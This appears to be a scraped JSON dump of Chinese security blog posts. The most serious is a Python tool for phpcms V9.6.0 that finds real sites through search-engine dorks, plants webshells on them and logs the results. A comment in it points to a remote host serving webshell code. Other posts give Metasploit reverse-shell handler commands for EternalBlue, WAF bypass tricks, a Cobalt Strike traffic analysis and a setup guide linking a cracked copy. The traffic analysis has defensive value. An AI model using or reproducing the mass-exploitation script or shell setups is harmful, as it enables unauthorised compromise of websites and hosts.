exploit/multi/handler\u003c/p\u003e\n\u003cp\u003eset lhost 192.168.1.106\u003c/p\u003e\n\u003cp\u003eset lport 5555\u003c/p\u003e\n\u003cp\u003eset PAYLOAD windows/x64/meterpreter/reverse_tcp\u003c/p\u003e\n\u003cp\u003eexploit\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/04/11.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/04/11.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"4接着在windows2003下执行\"\u003e4.接着在windows2003下执行\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/04/12.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/04/12.png\"\u003e\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2017/04/13.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/04/13.png\"\u003e\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2017/04/14.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/04/14.png\"\u003e\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2017/04/15.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/04/15.png\"\u003e\u003c/a\u003e \u003ca href=\"/wp-content/uploads/2017/04/16.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/04/16.png\"\u003e\u003c/a\u003e \u003cstrong\u003e最后在\u003c/strong\u003e \u003cstrong\u003emsf\u003c/strong\u003e \u003cstrong\u003e下可以看到成功反弹\u003c/strong\u003e \u003cstrong\u003eshell:\u003c/strong\u003e \u003ca href=\"/wp-content/uploads/2017/04/17.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/04/17.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"方程式ETERNALBLUE之fb.py的复现"},{"content":"介绍 一键化 python 1.py http://xxx.com 不再是只允许执行一次有回显，加入了爆破，1-3s内即可找到你的webshell，不论是否有回显，只要成功 待办 [] 加入对有验证码phpcms网站的支持 [] 加入批量 说明 依赖库的安装 pip install requests\n代码 # -*- coding:utf-8 -*-\n\u0026rsquo;\u0026rsquo;' ---\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;- Author : Akkuman Blog : hacktech.cn ---\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;- \u0026rsquo;''\nimport requests from datetime import datetime from bs4 import BeautifulSoup # from urlparse import unquote //Python2 # from urlparse import urlparse //Python2 from urllib.parse import quote from urllib.parse import urlparse from random import Random\nrand_name = \u0026rsquo;' chars = \u0026lsquo;qwertyuiopasdfghjklzxcvbnm0123456789\u0026rsquo; random = Random()\nheaders = { \u0026ldquo;User-Agent\u0026rdquo;: \u0026ldquo;Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0\u0026rdquo; }\ndef parseBaidu(keyword, pagenum): keywordsBaseURL = \u0026lsquo;https://www.baidu.com/s?wd=' + str(quote(keyword)) + \u0026lsquo;\u0026amp;oq=\u0026rsquo; + str(quote(keyword)) + \u0026lsquo;\u0026amp;ie=utf-8\u0026rsquo; + \u0026lsquo;\u0026amp;pn=\u0026rsquo; pnum = 0 while pnum \u0026lt;= int(pagenum): baseURL = keywordsBaseURL + str(pnum*10) try: request = requests.get(baseURL, headers=headers) soup = BeautifulSoup(request.text, \u0026ldquo;html.parser\u0026rdquo;) for a in soup.select(\u0026lsquo;div.c-container \u0026gt; h3 \u0026gt; a\u0026rsquo;): url = requests.get(a[\u0026lsquo;href\u0026rsquo;], headers=headers).url yield url #urls = [requests.get(a[\u0026lsquo;href\u0026rsquo;], headers=headers).url for a in soup.select(\u0026lsquo;div.c-container \u0026gt; h3 \u0026gt; a\u0026rsquo;)] #for url in urls: #yield url except: yield None finally: pnum += 1\ndef getTime(): year = str(datetime.now().year) month = \u0026ldquo;%02d\u0026rdquo; % datetime.now().month day = \u0026ldquo;%02d\u0026rdquo; % datetime.now().day hour = datetime.now().hour hour = hour - 12 if hour \u0026gt; 12 else hour hour = \u0026ldquo;%02d\u0026rdquo; % hour minute = \u0026ldquo;%02d\u0026rdquo; % datetime.now().minute second = \u0026ldquo;%02d\u0026rdquo; % datetime.now().second microsecond = \u0026ldquo;%06d\u0026rdquo; % datetime.now().microsecond microsecond = microsecond[:3] nowTime = year + month + day + hour + minute + second + microsecond return int(nowTime), year + \u0026ldquo;/\u0026rdquo; + month + day + \u0026ldquo;/\u0026rdquo;\ndef saveShell(shellUrl): with open(\u0026ldquo;webShell.txt\u0026rdquo;,\u0026ldquo;a+\u0026rdquo;) as f: f.write(\u0026quot;[*]%s\\n\u0026quot; % shellUrl)\ndef main(): data = { \u0026ldquo;siteid\u0026rdquo;: \u0026ldquo;1\u0026rdquo;, \u0026ldquo;modelid\u0026rdquo;: \u0026ldquo;1\u0026rdquo;, \u0026ldquo;username\u0026rdquo;: \u0026ldquo;akkumandsad\u0026rdquo;, \u0026ldquo;password\u0026rdquo;: \u0026ldquo;123456\u0026rdquo;, \u0026ldquo;email\u0026rdquo;: \u0026ldquo;akkakkumafa@qq.com\u0026rdquo;, # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt，一句话地址为.php后面加上e=YXNzZXJ0,普通一句话http://file.codecat.one/normalOneWord.txt \u0026ldquo;info[content]\u0026rdquo;: \u0026ldquo;\u0026rdquo;, \u0026ldquo;dosubmit\u0026rdquo;: \u0026ldquo;1\u0026rdquo;, \u0026ldquo;protocol\u0026rdquo;: \u0026ldquo;\u0026rdquo;, } for crawlUrl in parseBaidu(\u0026ldquo;inurl:index.php?m=member\u0026amp;c=index\u0026amp;a=register\u0026amp;siteid=1\u0026rdquo;, 10): try: if crawlUrl: rand_name+=chars[random.randint(0, len(chars) - 1)] data[\u0026ldquo;username\u0026rdquo;] = \u0026ldquo;akkuman_%s\u0026rdquo; % rand_name data[\u0026ldquo;email\u0026rdquo;] = \u0026ldquo;akkuman_%s@qq.com\u0026rdquo; % rand_name host = urlparse(crawlUrl).scheme + \u0026ldquo;://\u0026rdquo; + urlparse(crawlUrl).hostname url = host + \u0026ldquo;/index.php?m=member\u0026amp;c=index\u0026amp;a=register\u0026amp;siteid=1\u0026rdquo; startTime, _ = getTime() htmlContent = requests.post(url, data=data, timeout=10) finishTime, dateUrl = getTime() successUrl = \u0026quot;\u0026quot; if \u0026ldquo;MySQL Error\u0026rdquo; in htmlContent.text and \u0026ldquo;http\u0026rdquo; in htmlContent.text: successUrl = htmlContent.text[htmlContent.text.index(\u0026ldquo;http\u0026rdquo;):htmlContent.text.index(\u0026quot;.php\u0026quot;)] + \u0026ldquo;.php\u0026rdquo; print(\u0026quot;[*]Shell : %s\u0026quot; % successUrl) saveShell(successUrl) if successUrl == \u0026ldquo;\u0026rdquo;: print(\u0026quot;[x]Failed : Failed to getshell.\u0026quot;) else: continue except: print(\u0026ldquo;Request Error\u0026rdquo;)\nif __name__ == \u0026lsquo;__main__\u0026rsquo;: main()\n测试图 下载地址 代码下载地址\n本文作者： Akkuman 本文链接： http://akkuman.coding.me/2017/04/10/phpcms9-6-0-getshell-with-python.html 版权声明： 本博客所有文章除特别声明外，均采用 CC BY-NC-SA 3.0 许可协议。转载请注明出处！ ","permalink":"https://www.lucien116.com/archives/293/","summary":"\u003ch2 id=\"介绍\"\u003e介绍\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e一键化 \u003ccode\u003epython 1.py http://xxx.com\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e不再是只允许执行一次有回显，加入了爆破，1-3s内即可找到你的webshell，不论是否有回显，只要成功\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"待办\"\u003e待办\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[] 加入对有验证码phpcms网站的支持\u003c/li\u003e\n\u003cli\u003e[] 加入批量\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"说明\"\u003e说明\u003c/h2\u003e\n\u003cp\u003e依赖库的安装 \u003ccode\u003epip install requests\u003c/code\u003e\u003c/p\u003e\n\u003ch2 id=\"代码\"\u003e代码\u003c/h2\u003e\n\u003cp\u003e# -*- coding:utf-8 -*-\u003c/p\u003e\n\u003cp\u003e\u0026rsquo;\u0026rsquo;'\n---\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;-\nAuthor : Akkuman\nBlog : hacktech.cn\n---\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;-\n\u0026rsquo;''\u003c/p\u003e\n\u003cp\u003eimport requests\nfrom datetime import datetime\nfrom bs4 import BeautifulSoup\n# from urlparse import unquote //Python2\n# from urlparse import urlparse //Python2\nfrom urllib.parse import quote\nfrom urllib.parse import urlparse\nfrom random import Random\u003c/p\u003e\n\u003cp\u003erand_name = \u0026rsquo;'\nchars = \u0026lsquo;qwertyuiopasdfghjklzxcvbnm0123456789\u0026rsquo;\nrandom = Random()\u003c/p\u003e","title":"phpcmsV9.6.0一键批量getshell工具"},{"content":"bypass姿态汇总\nMayIKissYou | 2015-01-04 17:16\n比来做web测试的时辰也翻阅了不少资料，各类姿态下的bypass，自己看到的和理会的总结一下，分享给小同伴们。\n1：数据流向：\n如下图所示：\n描绘了从阅读器敲下URL到央求最终发送到web干事器，中心履历了若干设备，哪些处所经由了措置责罚，哪些处所没有经由措置责罚。\n经由公网的时辰，公网普通都是一些任务在搜集层的设备，这些设备根基做路由转发，不会关于数据包停止运用层措置责罚的。在到达目标干事器之前，能够会有一些防护设备，如云waf，又如硬件waf，ips，ids设备，这些设备会关于数据包停止措置责罚，是以在此处针关于一些运用层的防护设备应该有bypass的姿态，为第一个角度。数据包会发送到终端，终端会有windows和linux之分，同时分歧操作系统上也会装置纷歧样的主机防护，如safedog，是以针对此类主机防护能够也会有bypass的姿态，为第二个角度。经由主机防护的包会发送到web干事器，web干事器也有许多种，如罕见的apache和iis等。是以针关于web干事器也会有bypass的姿态，为第三个角度。web干事器的数据流会被发布在web干事器上的运用法式措置责罚，针关于运用法式异样也会有bypass的姿态，为第四个角度web法式措置责罚的进程中会与数据库交互，分歧的数据库有分歧的特征，应此关于分歧的数据库异样会有bypass的姿态，为第五个角度。\n2：waf以及主机防护bypass\n现在市情上各类waf与主机防护，如百度一下云减速，阿里云盾，减速乐，安全宝，安全狗，云锁，360网站卫士等等，之前编写了一篇文章，bypass ips姿态的，其实测试过的都邃晓，外面的一些trick合用于许多防护设备的，这里将总结增补下：\n1）：点窜央求的体式格式，央求的内容普通分为get，post以及cookie的体式格式，post下又会有urlencode以及form-data的提交两种\n2）：截断字符的行使\n3）：要害字url编码的行使\n4）：脏数据的添加，即添加有效数据，有能够跨越最年夜的检测长度，而招致bypass，之前写过一个bypass安全狗的就是行使的此trick\n5）：fuzz测试，这里我普通会每一种央求体式格式均fuzz一次，这里fuzz的处所，主假若有能够waf之类的设备措置责罚某些字符欠妥招致了bypass。\n6）：关于waf类的其实找到原始IP直接接见，也是一种bypass的体式格式。\n3：webserver端的bypass姿态\nwebserver罕见的iis，apache以及tomcat等等\n我见到过的能够可以行使的：\n1）：iis在asp法式措置责罚中，关于%措置责罚的不是太好，貌似直接显示空白了\n2）：iis在aspx法式措置责罚中关于%u00措置责罚的不是太好，貌似直接显示空白了\n3）：iis加asp状况下的复参进击，在如下毗邻中有参考：\n4）：apache干事器关于畸形央求的解析,此处没有考证，马脚毗邻\n4：web法式端bypass姿态\nweb法式普通运转在webserver上，web法式在获取参数假设选择体式格式不准确能够形成bypass：\n1：asp asp.net中获取参数假设应用的Request[”]的方式的话，可以应用畸形的央求，如一个GET央求，同时还发送了post部门的内容\n2：之前说到替代提交体式格式绕过的其实需求此处web法式的支撑，如罕见的dedecms就会支撑get post以及cookie的提交。\n5：数据库端的bypass姿态\n数据库端的bypass年夜多是行使了数据库的特征，数据库有mysql,mssql,oracle等等\n其实数据到最后在数据库被执行了才算是真正的bypass，是以直接从数据库特征去测试普通是最有用的：\nmysql的特征，之前有一篇帖子专门描绘了mysql的测试结果，而且经自己测试在许多的waf下行使某些trick都是能bypass的，帖子链接：\nhttp://zone.wooyun.org/content/16772\n1）：空白符的行使（之前有人做过空白符的测试）【http://zone.wooyun.org/content/15953】\nSQLite3 0A 0D 0C 09 20\nMySQL5 09 0A 0B 0C 0D A0 20\nPosgresSQL 0A 0D 0C 09 20\nOracle 11g 00 0A 0D 0C 09 20\nMSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20\n在数据库中的空白符能够和php或许其他的web法式端的空白符存在差别，这样的差别能够就会招致绕过正则或其他进攻的绕过。\n2）：行使数据库fuzz测试，在http://zone.wooyun.org/content/16772中有小同伴就做了相关的测试，如：\nselect * from dual where id =1[]union[]select[]1,2,3,4 from[]m,\n经年夜量测试发现select[]位置处的fuzz成功内容，往往可以bypass年夜量进攻划定规矩。\nps.比来测试对照多，发现或多或少都邑有一些效果，so列位应用waf的小同伴，尽量照样担保好自己web法式安全的根蒂基础上再应用waf，不要完全依托waf\n","permalink":"https://www.lucien116.com/archives/291/","summary":"\u003cp\u003ebypass姿态汇总\u003c/p\u003e\n\u003cp\u003eMayIKissYou | 2015-01-04 17:16\u003c/p\u003e\n\u003cp\u003e比来做web测试的时辰也翻阅了不少资料，各类姿态下的bypass，自己看到的和理会的总结一下，分享给小同伴们。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e1：数据流向：\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e如下图所示：\u003c/p\u003e\n\u003cp\u003e描绘了从阅读器敲下URL到央求最终发送到web干事器，中心履历了若干设备，哪些处所经由了措置责罚，哪些处所没有经由措置责罚。\u003c/p\u003e\n\u003cp\u003e经由公网的时辰，公网普通都是一些任务在搜集层的设备，这些设备根基做路由转发，不会关于数据包停止运用层措置责罚的。在到达目标干事器之前，能够会有一些防护设备，如云waf，又如硬件waf，ips，ids设备，这些设备会关于数据包停止措置责罚，是以在此处针关于一些运用层的防护设备应该有bypass的姿态，为第一个角度。数据包会发送到终端，终端会有windows和linux之分，同时分歧操作系统上也会装置纷歧样的主机防护，如safedog，是以针对此类主机防护能够也会有bypass的姿态，为第二个角度。经由主机防护的包会发送到web干事器，web干事器也有许多种，如罕见的apache和iis等。是以针关于web干事器也会有bypass的姿态，为第三个角度。web干事器的数据流会被发布在web干事器上的运用法式措置责罚，针关于运用法式异样也会有bypass的姿态，为第四个角度web法式措置责罚的进程中会与数据库交互，分歧的数据库有分歧的特征，应此关于分歧的数据库异样会有bypass的姿态，为第五个角度。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2：waf以及主机防护bypass\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e现在市情上各类waf与主机防护，如百度一下云减速，阿里云盾，减速乐，安全宝，安全狗，云锁，360网站卫士等等，之前编写了一篇文章，bypass ips姿态的，其实测试过的都邃晓，外面的一些trick合用于许多防护设备的，这里将总结增补下：\u003c/p\u003e\n\u003cp\u003e1）：点窜央求的体式格式，央求的内容普通分为get，post以及cookie的体式格式，post下又会有urlencode以及form-data的提交两种\u003c/p\u003e\n\u003cp\u003e2）：截断字符的行使\u003c/p\u003e\n\u003cp\u003e3）：要害字url编码的行使\u003c/p\u003e\n\u003cp\u003e4）：脏数据的添加，即添加有效数据，有能够跨越最年夜的检测长度，而招致bypass，之前写过一个bypass安全狗的就是行使的此trick\u003c/p\u003e\n\u003cp\u003e5）：fuzz测试，这里我普通会每一种央求体式格式均fuzz一次，这里fuzz的处所，主假若有能够waf之类的设备措置责罚某些字符欠妥招致了bypass。\u003c/p\u003e\n\u003cp\u003e6）：关于waf类的其实找到原始IP直接接见，也是一种bypass的体式格式。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3：webserver端的bypass姿态\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003ewebserver罕见的iis，apache以及tomcat等等\u003c/p\u003e\n\u003cp\u003e我见到过的能够可以行使的：\u003c/p\u003e\n\u003cp\u003e1）：iis在asp法式措置责罚中，关于%措置责罚的不是太好，貌似直接显示空白了\u003c/p\u003e\n\u003cp\u003e2）：iis在aspx法式措置责罚中关于%u00措置责罚的不是太好，貌似直接显示空白了\u003c/p\u003e\n\u003cp\u003e3）：iis加asp状况下的复参进击，在如下毗邻中有参考：\u003c/p\u003e\n\u003cp\u003e4）：apache干事器关于畸形央求的解析,此处没有考证，马脚毗邻\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e4：web法式端bypass姿态\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eweb法式普通运转在webserver上，web法式在获取参数假设选择体式格式不准确能够形成bypass：\u003c/p\u003e\n\u003cp\u003e1：asp asp.net中获取参数假设应用的Request[”]的方式的话，可以应用畸形的央求，如一个GET央求，同时还发送了post部门的内容\u003c/p\u003e\n\u003cp\u003e2：之前说到替代提交体式格式绕过的其实需求此处web法式的支撑，如罕见的dedecms就会支撑get post以及cookie的提交。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e5：数据库端的bypass姿态\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e数据库端的bypass年夜多是行使了数据库的特征，数据库有mysql,mssql,oracle等等\u003c/p\u003e\n\u003cp\u003e其实数据到最后在数据库被执行了才算是真正的bypass，是以直接从数据库特征去测试普通是最有用的：\u003c/p\u003e\n\u003cp\u003emysql的特征，之前有一篇帖子专门描绘了mysql的测试结果，而且经自己测试在许多的waf下行使某些trick都是能bypass的，帖子链接：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://zone.wooyun.org/content/16772\"\u003ehttp://zone.wooyun.org/content/16772\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e1）：空白符的行使（之前有人做过空白符的测试）【http://zone.wooyun.org/content/15953】\u003c/p\u003e\n\u003cp\u003eSQLite3 0A 0D 0C 09 20\u003c/p\u003e\n\u003cp\u003eMySQL5 09 0A 0B 0C 0D A0 20\u003c/p\u003e\n\u003cp\u003ePosgresSQL 0A 0D 0C 09 20\u003c/p\u003e\n\u003cp\u003eOracle 11g 00 0A 0D 0C 09 20\u003c/p\u003e\n\u003cp\u003eMSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20\u003c/p\u003e\n\u003cp\u003e在数据库中的空白符能够和php或许其他的web法式端的空白符存在差别，这样的差别能够就会招致绕过正则或其他进攻的绕过。\u003c/p\u003e\n\u003cp\u003e2）：行使数据库fuzz测试，在http://zone.wooyun.org/content/16772中有小同伴就做了相关的测试，如：\u003c/p\u003e","title":"bypass姿势汇总，防火墙绕过技巧总结，IPS、IDS绕过技术"},{"content":"文中所用的样本均由Cobalt Strike 3.6版生成，这里就不再详细介绍使用方法和样本的配置过程，想了解的可参考上一篇文章 《Cobalt strike3.0使用手册》。本文主要针对样本的通信流量特征进行分析。 样本来源 Cobalt Strike3.6样本类型TR.Crypt.XPACK.Gen7分析时间 2017-03-06运行环境控制端: 182.92.84.176 木马端: 192.168.86.192\n使用DNS隧道传输 1.首先打开Cobalt Strike3.6设置好监听端口5555，并生成可执行文件EXE木马样本。\n图1-设置监听端口\n2.在主机192.168.86.192上运行木马样本，同时打开Wireshark抓取本机流量。运行样本后从流量中可发现主机产生大量DNS请求，直至在控制端上线后才停止DNS请求。如下图\n图2-上线\n3．来到控制端，发现主机已经上线。打开beacon管理器在控制端输入“mod dns-txt”，设置数据传输模式为dns-txt.如下图\n图3-主机上线\n4.设置好传输模式后，尝试对主机做一些简单操作，观察Wireshark中的数据流量特征。\n执行远程主机文件目录查看操作：\n图4-1远程主机文件目录查看\n图4-2远程主机文件目录查看\n从上图可发现此时控制端发送的命令和主机返回的目录信息数据都已经通过DNS-TXT隧道加密传输。\n执行“net user”查看操作：\n在beacon管理器中执行net user命令\n图5-1执行net user命令\n图5-2 执行net user命令\n通过主机发送net user命令后抓到的数据包可以看出，命令和返回的信息也都已经被加密通过dns协议传输。\n小结：通过DNS隧道传输隐蔽性较强不易被发现，但传输速度非常慢。\n使用HTTP传输 分析过程：\n操作步骤同上，在生成EXE木马选择payload时选择windows/beacin_http/reverse_http. 端口：6666\n木马上线 图6-1木马上线\n图6-2木马上线\n通过抓取的上线数据包可以看出木马上线后会向控制端提交一个GET /JRLU 请求。\n执行远程目录查看操作。如下图 图7-1远程目录查看\n图7-2目录查看\n从上图可以看出，控制端发出目录查看请求后主机首先向控制端GET /visit.js文件后再通过POST /submit.php?id=42612把主机文件目录信息发送给控制端。整个过程都走HTTP协议，全都采用明文传输。\n使用HTTPS传输 操作步骤同上，在生成EXE木马选择payload时选择windows/beacin_https/reverse_https. 端口：9999如下图：\n图8-监听设置\n1.木马上线\n图9-木马上线\n通过HTTPS加密后传输的数据,看不出明显异常。\n2.执行目录查看操作\n图10-目录查看\n3.执行文件上传、net user等操作\n图11-1-文件上传\n图11-2-文件上传成功\n从图11-2可以看到名为“username”的文本文件已经成功上传到主机，接下来再看看这个过程抓取到的数据包。\n图11-3-文件上传\n从上图的数据流中可以看出，经过HTTPS加密后传输的数据看不出明显特征。\n总结：\nDNS_TXT隧道传输：控制端发送的对目标的操作命令被加密后通过DNS的TXT记录里，通过DNS隧道传输隐蔽性较强不易被发现，但传输速度非常慢。\nHTTP协议传输：木马上线后会向主机发送一个GET /JRLU请求，根据控制端版本和环境不同请求的文件名可能不同。在控制端发出目录查看请求后主机首先向控制端GET /visit.js文件后再通过POST /submit.php?id=XXX把主机文件目录信息发送给控制端。整个过程都走HTTP协议，全都采用明文传输，传输速度快但隐蔽性不强，容易被检测发现。\nHTTPS协议传输：通过HTTPS加密传输的数据隐蔽性极高，暂时看不出异常特征。\n","permalink":"https://www.lucien116.com/archives/261/","summary":"\u003cp\u003e文中所用的样本均由Cobalt Strike 3.6版生成，这里就不再详细介绍使用方法和样本的配置过程，想了解的可参考上一篇文章 \u003ca href=\"/archives/255\"\u003e《Cobalt strike3.0使用手册》\u003c/a\u003e。本文主要针对样本的通信流量特征进行分析。\n样本来源       Cobalt Strike3.6样本类型TR.Crypt.XPACK.Gen7分析时间       2017-03-06运行环境控制端: 182.92.84.176\n木马端: 192.168.86.192\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e使用DNS隧道传输\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e1.首先打开Cobalt Strike3.6设置好监听端口5555，并生成可执行文件EXE木马样本。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/03/jainting.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/03/jainting.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图1-设置监听端口\u003c/p\u003e\n\u003cp\u003e2.在主机192.168.86.192上运行木马样本，同时打开Wireshark抓取本机流量。运行样本后从流量中可发现主机产生大量DNS请求，直至在控制端上线后才停止DNS请求。如下图\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/03/shangxian.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/03/shangxian.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图2-上线\u003c/p\u003e\n\u003cp\u003e3．来到控制端，发现主机已经上线。打开beacon管理器在控制端输入“mod dns-txt”，设置数据传输模式为dns-txt.如下图\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/03/set.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/03/set.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图3-主机上线\u003c/p\u003e\n\u003cp\u003e4.设置好传输模式后，尝试对主机做一些简单操作，观察Wireshark中的数据流量特征。\u003c/p\u003e\n\u003cp\u003e执行远程主机文件目录查看操作：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/03/look.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/03/look.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图4-1远程主机文件目录查看\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/03/look2.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/03/look2.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图4-2远程主机文件目录查看\u003c/p\u003e\n\u003cp\u003e从上图可发现此时控制端发送的命令和主机返回的目录信息数据都已经通过DNS-TXT隧道加密传输。\u003c/p\u003e\n\u003cp\u003e执行“net user”查看操作：\u003c/p\u003e\n\u003cp\u003e在beacon管理器中执行net user命令\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/03/net-user1.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/03/net-user1.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图5-1执行net user命令\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/03/net-user2.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/03/net-user2.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图5-2 执行net user命令\u003c/p\u003e\n\u003cp\u003e通过主机发送net user命令后抓到的数据包可以看出，命令和返回的信息也都已经被加密通过dns协议传输。\u003c/p\u003e\n\u003cp\u003e小结：通过DNS隧道传输隐蔽性较强不易被发现，但传输速度非常慢。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e使用HTTP传输\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e分析过程：\u003c/p\u003e\n\u003cp\u003e操作步骤同上，在生成EXE木马选择payload时选择windows/beacin_http/reverse_http. 端口：6666\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e木马上线\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/03/http1.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/03/http1.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图6-1木马上线\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/03/http.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/03/http.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图6-2木马上线\u003c/p\u003e\n\u003cp\u003e通过抓取的上线数据包可以看出木马上线后会向控制端提交一个GET /JRLU 请求。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e执行远程目录查看操作。如下图\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/03/look-1.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/03/look-1.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图7-1远程目录查看\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/03/look-2.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/03/look-2.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图7-2目录查看\u003c/p\u003e\n\u003cp\u003e从上图可以看出，控制端发出目录查看请求后主机首先向控制端GET /visit.js文件后再通过POST /submit.php?id=42612把主机文件目录信息发送给控制端。整个过程都走HTTP协议，全都采用明文传输。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e使用HTTPS传输\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e操作步骤同上，在生成EXE木马选择payload时选择windows/beacin_https/reverse_https. 端口：9999如下图：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/03/listen.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/03/listen.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图8-监听设置\u003c/p\u003e\n\u003cp\u003e1.木马上线\u003c/p\u003e","title":"基于DNS、HTTP和HTTPS隧道协议的木马流量分析"},{"content":"0x00 简介 Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win exe木马生成，win dll木马生成，Java木马生成，Office宏病毒生成，木马捆绑；钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等等。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用，当然可以结合Armitage进行使用。这里有一个破解版：\n下载地址： 戳我 (自行验证其安全性)\nCobalt Strike 3.0 延用了其强大的团体服务器功能，能让多个攻击者同时连接到团体服务器上，共享攻击资源与目标信息和sessions。当然，在使用Cobalt Strike之前，需要安装java环境，具体怎么配置，请移步[java language=\u0026ldquo;环境搭建\u0026rdquo;][/java] /java 3 。\n0x01 运行 与之前版本的 Cobalt Strike不同， Cobalt Strike3.0需要开启团体服务器才可以链接使用，当然，这个服务器可以放到公网环境下，或者放到自己想要搭建此服务的环境中。 下载好Cobalt Strike以后包含以下几个文件：\n其中关键的文件是teamserver以及cobaltstrike.jar，将这两个文件放到服务器上同一个目录，然后运行：\n? cobaltstrike sudo ./teamserver 192.168.74.1 msf3 这里为了方便使用，最好使用具体的IP地址，而不是0.0.0.0或者127.0.0.1, 如果有多个网卡，使用你要用的那个ip地址即可， msf3 